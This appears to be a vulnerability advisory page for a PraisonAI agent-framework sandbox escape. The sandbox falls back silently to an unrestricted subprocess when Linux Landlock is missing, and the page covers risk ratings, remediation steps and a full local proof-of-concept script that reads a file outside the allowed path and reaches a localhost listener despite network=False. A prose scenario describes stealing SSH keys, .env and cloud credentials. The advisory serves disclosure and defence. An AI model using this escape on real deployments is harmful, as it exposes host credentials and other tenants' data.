GHSA-6jcq-6546-qrrw: PraisonAI: sandbox escape via silent Landlock fallback

GHSA-6jcq-6546-qrrw HIGH
Published June 18, 2026
CISO Take

PraisonAI's kernel-enforced sandbox backend silently degrades to an unprotected subprocess when the Linux Landlock LSM is unavailable, meaning code submitted to the sandbox runs with the full filesystem and network access of the host process user — despite explicit `network=False` and path allowlist configuration. Any deployment treating `SandlockSandbox` as the isolation boundary on a host without Landlock support (older kernels, containers with restricted capabilities, most cloud VMs) is operating with a false sense of containment, exposing .env files, SSH material, cloud credentials, and inter-tenant data to arbitrary code submitted through the agent. With a patched release (4.6.61) now available and a working proof-of-concept published in the advisory, the window between disclosure and exploitation is short — upgrade immediately and verify the host kernel supports Landlock ABI version ≥1 (`cat /sys/kernel/security/landlock/abi`) before trusting sandbox isolation.

Sources: GitHub Advisory ATLAS

What is the risk?

HIGH. The vulnerability is trivially exploitable by any user permitted to submit code to a PraisonAI agent — no special AI/ML knowledge required, just standard Python. The silent fallback means defenders receive no error, log warning aside, making detection nearly impossible without explicit kernel ABI checks. Deployments in multi-tenant or SaaS contexts face the worst blast radius: a sandboxed payload can read adjacent tenant files, credentials, and establish network connections to internal services. CVSS:3.1 scores 8.8 (Scope: Changed, C/I/A: High) reflecting the host-level impact from a low-privilege starting position. The package has 104 prior CVEs indicating persistent security immaturity in this component. No active exploitation confirmed yet, but the proof-of-concept is fully public and self-contained.

How does the attack unfold?

Code Submission
Attacker with legitimate or stolen access submits a malicious Python payload to the PraisonAI agent's sandboxed code execution interface, expecting it to run under the native Landlock-enforced policy.
AML.T0053
Sandbox Bypass
SandlockSandbox.execute() detects that Landlock is unavailable on the host kernel and silently delegates execution to SubprocessSandbox with no filesystem allowlist, network namespace, seccomp filter, or path restriction applied.
AML.T0107
Host Data Access
The unsandboxed payload reads files outside the configured tenant workspace — .env files, AWS credentials, SSH private keys, database connection strings, and adjacent tenant data — all accessible to the PraisonAI process user.
AML.T0037
Exfiltration & Lateral Movement
Harvested credentials are exfiltrated via unrestricted outbound network connections (bypassing the configured network=False policy), enabling follow-on access to cloud infrastructure, databases, and internal services.
AML.T0105

What systems are affected?

Package Ecosystem Vulnerable Range Patched
PraisonAI pip >= 4.5.110, < 4.6.61 4.6.61
1 dependents 89% patched ~0d to patch Full package profile →
PraisonAI Agents pip No patch
11 dependents 81% patched ~0d to patch Full package profile →

How severe is it?

CVSS 3.1
8.8 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Local
AC Low
PR Low
UI None
S Changed
C High
I High
A High

What should I do?

6 steps
  1. PATCH

    Upgrade praisonai to ≥4.6.61 immediately. Verify with pip show praisonai | grep Version.

  2. VERIFY KERNEL

    On every host running PraisonAI, run cat /sys/kernel/security/landlock/abi — if the file is absent or returns 0, Landlock is unavailable and the sandbox was providing no isolation. Kernel ≥5.13 required; ≥5.19 for full ABI v2 support.

  3. WORKAROUND (if patching is delayed): Disable any user-facing code execution features or route code execution through an external isolated container (gVisor, Firecracker, or a dedicated VM) rather than relying on PraisonAI's native sandbox.

  4. DETECT EXPOSURE

    Audit application logs for Sandlock not available, falling back to subprocess warnings — presence of this log on a production host confirms the vulnerable degraded path was active.

  5. REVIEW TENANT DATA

    If multi-tenant code execution was enabled, treat all data accessible to the PraisonAI process user as potentially compromised and rotate exposed credentials.

  6. COMPENSATING CONTROLS

    Apply OS-level seccomp profiles, network namespaces, or cgroups at the container/orchestration layer to enforce isolation independent of the application sandbox.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.4 - AI system security controls
NIST AI RMF
MANAGE 2.4 - Residual risks are managed
OWASP LLM Top 10
LLM06 - Excessive Agency

Frequently Asked Questions

What is GHSA-6jcq-6546-qrrw?

PraisonAI's kernel-enforced sandbox backend silently degrades to an unprotected subprocess when the Linux Landlock LSM is unavailable, meaning code submitted to the sandbox runs with the full filesystem and network access of the host process user — despite explicit `network=False` and path allowlist configuration. Any deployment treating `SandlockSandbox` as the isolation boundary on a host without Landlock support (older kernels, containers with restricted capabilities, most cloud VMs) is operating with a false sense of containment, exposing .env files, SSH material, cloud credentials, and inter-tenant data to arbitrary code submitted through the agent. With a patched release (4.6.61) now available and a working proof-of-concept published in the advisory, the window between disclosure and exploitation is short — upgrade immediately and verify the host kernel supports Landlock ABI version ≥1 (`cat /sys/kernel/security/landlock/abi`) before trusting sandbox isolation.

Is GHSA-6jcq-6546-qrrw actively exploited?

No confirmed active exploitation of GHSA-6jcq-6546-qrrw has been reported, but organizations should still patch proactively.

How to fix GHSA-6jcq-6546-qrrw?

1. PATCH: Upgrade `praisonai` to ≥4.6.61 immediately. Verify with `pip show praisonai | grep Version`. 2. VERIFY KERNEL: On every host running PraisonAI, run `cat /sys/kernel/security/landlock/abi` — if the file is absent or returns 0, Landlock is unavailable and the sandbox was providing no isolation. Kernel ≥5.13 required; ≥5.19 for full ABI v2 support. 3. WORKAROUND (if patching is delayed): Disable any user-facing code execution features or route code execution through an external isolated container (gVisor, Firecracker, or a dedicated VM) rather than relying on PraisonAI's native sandbox. 4. DETECT EXPOSURE: Audit application logs for `Sandlock not available, falling back to subprocess` warnings — presence of this log on a production host confirms the vulnerable degraded path was active. 5. REVIEW TENANT DATA: If multi-tenant code execution was enabled, treat all data accessible to the PraisonAI process user as potentially compromised and rotate exposed credentials. 6. COMPENSATING CONTROLS: Apply OS-level seccomp profiles, network namespaces, or cgroups at the container/orchestration layer to enforce isolation independent of the application sandbox.

What systems are affected by GHSA-6jcq-6546-qrrw?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, code execution sandboxes, multi-tenant AI platforms, agentic orchestration pipelines.

What is the CVSS score for GHSA-6jcq-6546-qrrw?

GHSA-6jcq-6546-qrrw has a CVSS v3.1 base score of 8.8 (HIGH).

What is the AI security impact?

Affected AI Architectures

agent frameworkscode execution sandboxesmulti-tenant AI platformsagentic orchestration pipelines

MITRE ATLAS Techniques

AML.T0037 Data from Local System
AML.T0053 AI Agent Tool Invocation
AML.T0055 Unsecured Credentials
AML.T0105 Escape to Host
AML.T0107 Exploitation for Defense Evasion

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2.4
NIST AI RMF: MANAGE 2.4
OWASP LLM Top 10: LLM06

What are the technical details?

Original Advisory

## Summary `praisonai.sandbox.SandlockSandbox` is documented and implemented as the kernel-enforced sandbox backend for untrusted code. Its `SandboxConfig.native()` path lets callers configure allowed filesystem paths and `network=False`. On systems where the optional `sandlock` module imports but reports that Landlock is unavailable, `SandlockSandbox.execute()` and `run_command()` do not fail closed. They silently fall back to `SubprocessSandbox(self.config)`. That fallback keeps the same high-level native policy object but does not enforce the native filesystem or network boundary during code execution. A sandboxed payload can read files outside the configured allowed path and open network connections despite `network=False`. ## Technical Details `SandboxConfig.native()` creates a restricted native policy and records caller-provided writable paths plus the requested network posture: ```python return cls( sandbox_type="native", working_dir=os.getcwd(), security_policy=SecurityPolicy( allow_network=network, allow_file_write=True, allow_subprocess=True, allowed_paths=resolved_paths, ), metadata={"writable_paths": resolved_paths, "network": network}, ) ``` `SandlockSandbox` builds the intended kernel policy with Landlock-backed filesystem allowlisting and network denial: ```python policy = Policy( fs_readable=allowed_read_paths, fs_writable=allowed_write_paths, net_allow_hosts=[] if not limits.network_enabled else None, max_memory=f"{limits.memory_mb}M", max_processes=limits.max_processes, max_open_files=limits.max_open_files, ) ``` However, both execution paths fail open when Sandlock is unavailable: ```python if not self.is_available: logger.warning("Sandlock not available, falling back to subprocess") from .subprocess import SubprocessSandbox fallback = SubprocessSandbox(self.config) return await fallback.execute(code, language, limits, env, working_dir) ``` `SubprocessSandbox.execute()` writes the code to a temp file and runs `python` with a minimal environment and POSIX rlimits. It does not install a filesystem sandbox, network namespace, syscall filter, chroot, Landlock policy, or path allowlist for the code execution path. The `safe_sandbox_path()` checks only protect the `read_file()`, `write_file()`, and `list_files()` helper methods. ### Why This Is Not Intended Behavior The report is not based only on a trust-model disagreement. The code and docs define a concrete boundary: - PraisonAI's Sandlock README says the backend provides kernel-level filesystem allowlisting, network isolation, seccomp filtering, and blocks `/etc/passwd`, SSH keys, AWS credentials, and unauthorized connections. - The security demo creates `SandboxConfig.native(writable_paths=["./safe_workspace"], network=False)` and labels file and network access as blocked operations. - The upstream `sandlock` package requires Linux with a compatible Landlock ABI and documents a fail-closed default for missing required protections unless the caller explicitly opts into degraded protection. - PraisonAI's own current security page recommends sandboxed execution and says path traversal protection is enabled by default for local sandbox backends. The bug is the silent fallback from an unavailable kernel-enforced boundary to plain subprocess execution without preserving the configured native policy. ## PoV Run from a PraisonAI source checkout: ```bash python3 poc/pov_poc.py \ --repo /path/to/PraisonAI ``` The PoV: 1. injects a fake `sandlock` module that imports successfully but reports no usable Landlock support; 2. configures `SandboxConfig.native(writable_paths=[tenant_a], network=False)`; 3. creates `tenant-b-secret.txt` outside the configured path; 4. starts a localhost TCP listener; 5. executes code through `SandlockSandbox.execute()`. Observed result on `v4.6.58`: ```json { "child_output": { "network_reply": "local-ok", "outside_read": "TENANT_B_CANARY" }, "configured_network": false, "outside_path_under_allowed": false, "sandlock_available": false, "sandbox_type": "sandlock", "status": "COMPLETED", "vulnerable": true } ``` This proves both policy boundaries are crossed: - the file read target is not under the configured allowed path; - the localhost network connection succeeds even though the native policy was created with `network=False`. Full PoV script: ```python #!/usr/bin/env python3 """Local-only PoV for poc. The PoV simulates a system where the optional ``sandlock`` Python package is installed but kernel Landlock support is unavailable. That is the exact branch handled by ``SandlockSandbox.execute()``: it logs a warning and falls back to ``SubprocessSandbox``. No external network is used. The network control is a localhost TCP listener. No sensitive host files are read. The filesystem control uses temporary tenant directories and a canary file outside the configured writable path. """ from __future__ import annotations import argparse import asyncio import contextlib import json import os import pathlib import socket import sys import tempfile import types from typing import Any def _repo_paths(repo: pathlib.Path) -> list[str]: return [ str(repo / "src" / "praisonai"), str(repo / "src" / "praisonai-agents"), ] async def _accept_once(server: socket.socket) -> str | None: loop = asyncio.get_running_loop() def accept() -> str: conn, _ = server.accept() with conn: data = conn.recv(128) conn.sendall(b"local-ok") return data.decode("utf-8", "replace") with contextlib.suppress(Exception): return await loop.run_in_executor(None, accept) return None async def run_pov(repo: pathlib.Path) -> dict[str, Any]: sandlock_path = repo / "src" / "praisonai" / "praisonai" / "sandbox" / "sandlock.py" if not sandlock_path.exists(): return {"repo": str(repo), "has_sandlock": False, "vulnerable": False} sys.path[:0] = _repo_paths(repo) # Support both the original v4.5.110 API check and the current v4.6.58 API # check while forcing the "Sandlock not available" branch. sys.modules["sandlock"] = types.SimpleNamespace( is_available=lambda: False, landlock_abi_version=lambda: 0, ) from praisonai.sandbox.sandlock import SandlockSandbox from praisonaiagents.sandbox import ResourceLimits, SandboxConfig with tempfile.TemporaryDirectory(prefix="poc-") as temp_root: base = pathlib.Path(temp_root) # Make the PoV deterministic on systems where "python" is not on PATH. bindir = base / "bin" bindir.mkdir() (bindir / "python").symlink_to(sys.executable) allowed = base / "tenant-a" allowed.mkdir() outside = base / "tenant-b-secret.txt" outside.write_text("TENANT_B_CANARY", encoding="utf-8") server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(("127.0.0.1", 0)) server.listen(1) server.settimeout(5) port = server.getsockname()[1] config = SandboxConfig.native(writable_paths=[str(allowed)], network=False) sandbox = SandlockSandbox(config=config) await sandbox.start() code = f""" import json import socket result = {{}} try: with open({str(outside)!r}, "r") as f: result["outside_read"] = f.read() except Exception as exc: result["outside_read_error"] = type(exc).__name__ + ": " + str(exc) try: s = socket.create_connection(("127.0.0.1", {port}), timeout=3) s.sendall(b"hello") result["network_reply"] = s.recv(32).decode("utf-8", "replace") s.close() except Exception as exc: result["network_error"] = type(exc).__name__ + ": " + str(exc) print(json.dumps(result, sort_keys=True)) """ accept_task = asyncio.create_task(_accept_once(server)) result = await sandbox.execute( code, limits=ResourceLimits( timeout_seconds=10, memory_mb=512, max_processes=10, max_open_files=64, network_enabled=False, ), env={"PATH": str(bindir)}, ) accepted_payload = None with contextlib.suppress(Exception): accepted_payload = await accept_task server.close() await sandbox.stop() child_output: dict[str, Any] = {} with contextlib.suppress(Exception): child_output = json.loads(result.stdout.strip()) vulnerable = ( child_output.get("outside_read") == "TENANT_B_CANARY" and child_output.get("network_reply") == "local-ok" ) return { "repo": str(repo), "has_sandlock": True, "sandbox_type": sandbox.sandbox_type, "sandlock_available": sandbox.is_available, "configured_allowed_paths": config.security_policy.allowed_paths, "configured_network": config.security_policy.allow_network, "outside_path_under_allowed": str(outside).startswith(str(allowed) + os.sep), "status": getattr(result.status, "name", str(result.status)), "exit_code": result.exit_code, "stdout": result.stdout.strip(), "stderr": result.stderr.strip(), "error": result.error, "child_output": child_output, "accepted_local_payload": accepted_payload, "vulnerable": vulnerable, } def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--repo", required=True, type=pathlib.Path) args = parser.parse_args() result = asyncio.run(run_pov(args.repo.resolve())) print(json.dumps(result, indent=2, sort_keys=True)) if result.get("has_sandlock") and not result.get("vulnerable"): return 1 return 0 if __name__ == "__main__": raise SystemExit(main()) ``` ## PoC The PoV section above contains the local reproduction command, input, and decisive output. ## Impact If a PraisonAI user or service relies on `SandlockSandbox` / native sandboxing for untrusted code isolation on a host without the required Landlock support, code submitted to the sandbox can execute with the host user's normal filesystem and network access. Concrete impact includes: - reading files outside the configured tenant/workspace path; - reading project files, credentials, `.env` files, SSH material, or cloud config reachable by the PraisonAI process user; - connecting to loopback or internal services despite `network=False`; - moving from sandboxed code execution to unsandboxed host-user code execution in deployments that treat Sandlock as the isolation boundary. The local PoV does not read real sensitive files or contact external systems. It uses temporary tenant directories and a localhost TCP listener. ## Suggested Fix Fail closed when the requested native sandbox boundary cannot be enforced. Recommended changes: 1. In `SandlockSandbox.execute()` and `run_command()`, return a failed `SandboxResult` or raise a clear runtime error when `self.is_available` is false. 2. If fallback behavior is kept for developer convenience, require an explicit opt-in such as `allow_degraded=True` or `fallback="subprocess"` and surface that degraded state in the result metadata. 3. Do not preserve `sandbox_type == "sandlock"` in status metadata when the actual execution backend is subprocess. 4. Add regression tests proving that unavailable Landlock does not execute code unless degraded fallback was explicitly requested. 5. Add tests that a native policy with `network=False` and a restricted path cannot read outside-path canaries or connect to a localhost listener. 6. Document the required kernel/ABI versions and the exact degraded-mode semantics. ## Affected Package/Versions - Repository: `MervinPraison/PraisonAI` - Package: `praisonai` - Component: `src/praisonai/praisonai/sandbox/sandlock.py` - Related config component: `src/praisonai-agents/praisonaiagents/sandbox/config.py` - Latest verified release/current head: `v4.6.58`, `1ad58ca02975ff1398efeda694ea2ab78f20cf3e` Confirmed affected: ```text v4.5.110 vulnerable v4.5.120 vulnerable v4.6.58 vulnerable current vulnerable ``` Negative control: ```text v4.5.109 not affected because SandlockSandbox is absent ``` Suggested affected range: `>= 4.5.110, <= 4.6.58`. No fixed version is known at submission time. ### Version Sweep ```text version has_sandlock sandlock_available status outside_read network_reply vulnerable praisonai-v4.5.109 false false praisonai-v4.5.110 true false COMPLETED TENANT_B_CANARY local-ok true praisonai-v4.6.58 true false COMPLETED TENANT_B_CANARY local-ok true praisonai-current true false COMPLETED TENANT_B_CANARY local-ok true ``` GitHub history for `sandlock.py` shows the backend was introduced in `4ee7d298c89f` on 2026-04-01 with "graceful fallback to SubprocessSandbox", then updated in `7ae6c6d19c31` on 2026-04-02 to use the current Landlock ABI check. ## Advisory History Nearby advisories are distinct: - `GHSA-r4f2-3m54-pp7q` / `CVE-2026-34955`: `SubprocessSandbox` shell command escape through `4.5.96`. - `GHSA-4mr5-g6f9-cfrh`, `GHSA-qf73-2hrx-xprp`, `GHSA-6vh2-h83c-9294`: `execute_code()` Python sandbox escapes. - `GHSA-ch89-h4r2-c8f8`: agent tools workspace escape via symlinks. - `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tool workspace fail-open. This report covers a different root cause: `SandlockSandbox` / native sandbox policy downgrade when Landlock is unavailable. It reproduces on the latest release `v4.6.58`, while the older `SubprocessSandbox` shell escape advisory was fixed at `4.5.97`.

Exploitation Scenario

An adversary with access to a PraisonAI agent interface (e.g., a trial user on a SaaS platform, a low-privileged internal user, or a compromised user session) submits a Python payload crafted to read `/etc/passwd`, `.env` files, `~/.ssh/id_rsa`, AWS credentials at `~/.aws/credentials`, and connect outbound to an attacker-controlled endpoint. PraisonAI calls `SandlockSandbox.execute()`, which checks `self.is_available` — returning False on most cloud VMs — logs a single warning, and transparently delegates to `SubprocessSandbox`. The subprocess executes the payload with no filesystem allowlist, no network restriction, and no syscall filter. The payload reads the host `.env` (containing database credentials, API keys, Stripe secrets), exfiltrates them via the unrestricted network path to the attacker's listener, and writes a backdoor script to a writable path. In a multi-tenant deployment, the adversary additionally reads other tenants' workspace files using directory traversal. The entire execution completes with `status: COMPLETED` — indistinguishable in metadata from a properly sandboxed run.

Weaknesses (CWE)

CWE-266 — Incorrect Privilege Assignment: A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.

  • [Architecture and Design, Operation] Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • [Architecture and Design, Operation] Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Timeline

Published
June 18, 2026
Last Modified
June 18, 2026
First Seen
June 18, 2026

Related Vulnerabilities